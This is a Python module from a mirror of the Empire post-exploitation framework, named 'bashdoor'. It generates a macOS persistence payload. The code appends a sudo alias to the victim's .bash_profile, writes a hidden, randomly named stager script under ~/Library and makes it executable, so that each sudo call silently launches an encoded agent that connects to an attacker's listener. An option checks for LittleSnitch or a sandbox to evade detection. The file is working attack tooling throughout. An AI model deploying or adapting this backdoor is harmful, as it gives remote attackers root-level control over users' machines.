mirror of
https://github.com/EmpireProject/Empire
synced 2026-06-08 10:58:16 +00:00
xorrior
108 lines
3.9 KiB
Python
108 lines
3.9 KiB
Python
class Module:
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def __init__(self, mainMenu, params=[]):
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# metadata info about the module, not modified during runtime
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self.info = {
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# name for the module that will appear in module menus
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'Name': 'bashdoor',
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# list of one or more authors for the module
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'Author': ['@n00py'],
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# more verbose multi-line description of the module
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'Description': 'Creates an alias in the .bash_profile to cause the sudo command to execute a stager and pass through the origional command back to sudo',
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# True if the module needs to run in the background
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'Background' : False,
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# File extension to save the file as
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'OutputExtension' : "",
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# if the module needs administrative privileges
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'NeedsAdmin' : False,
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# True if the method doesn't touch disk/is reasonably opsec safe
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'OpsecSafe' : False,
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# the module language
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'Language' : 'python',
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# the minimum language version needed
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'MinLanguageVersion' : '2.6',
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# list of any references/other comments
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'Comments': []
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to execute module on.',
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'Required' : True,
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'Value' : ''
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},
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'SafeChecks': {
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'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
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'Required': True,
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'Value': 'True'
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},
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'Listener' : {
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'Description' : 'Listener to use.',
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'Required' : True,
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'Value' : ''
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},
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'UserAgent' : {
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'Description' : 'User-agent string to use for the staging request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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# During instantiation, any settable option parameters
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# are passed as an object set to the module and the
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# options dictionary is automatically set. This is mostly
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# in case options are passed on the command line
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if params:
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self, obfuscate=False, obfuscationCommand=""):
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# extract all of our options
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listenerName = self.options['Listener']['Value']
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userAgent = self.options['UserAgent']['Value']
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safeChecks = self.options['SafeChecks']['Value']
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# generate the launcher code
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launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', encode=True, userAgent=userAgent, safeChecks=safeChecks)
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launcher = launcher.replace('"', '\\"')
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script = '''
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import os
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from random import choice
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from string import ascii_uppercase
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home = os.getenv("HOME")
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randomStr = ''.join(choice(ascii_uppercase) for i in range(12))
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bashlocation = home + "/Library/." + randomStr + ".sh"
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with open(home + "/.bash_profile", "a") as profile:
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profile.write("alias sudo='sudo sh -c '\\\\''" + bashlocation + " & exec \\"$@\\"'\\\\'' sh'")
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launcher = "%s"
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stager = "#!/bin/bash\\n"
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stager += launcher
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with open(bashlocation, 'w') as f:
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f.write(stager)
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f.close()
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os.chmod(bashlocation, 0755)
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''' % (launcher)
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return script
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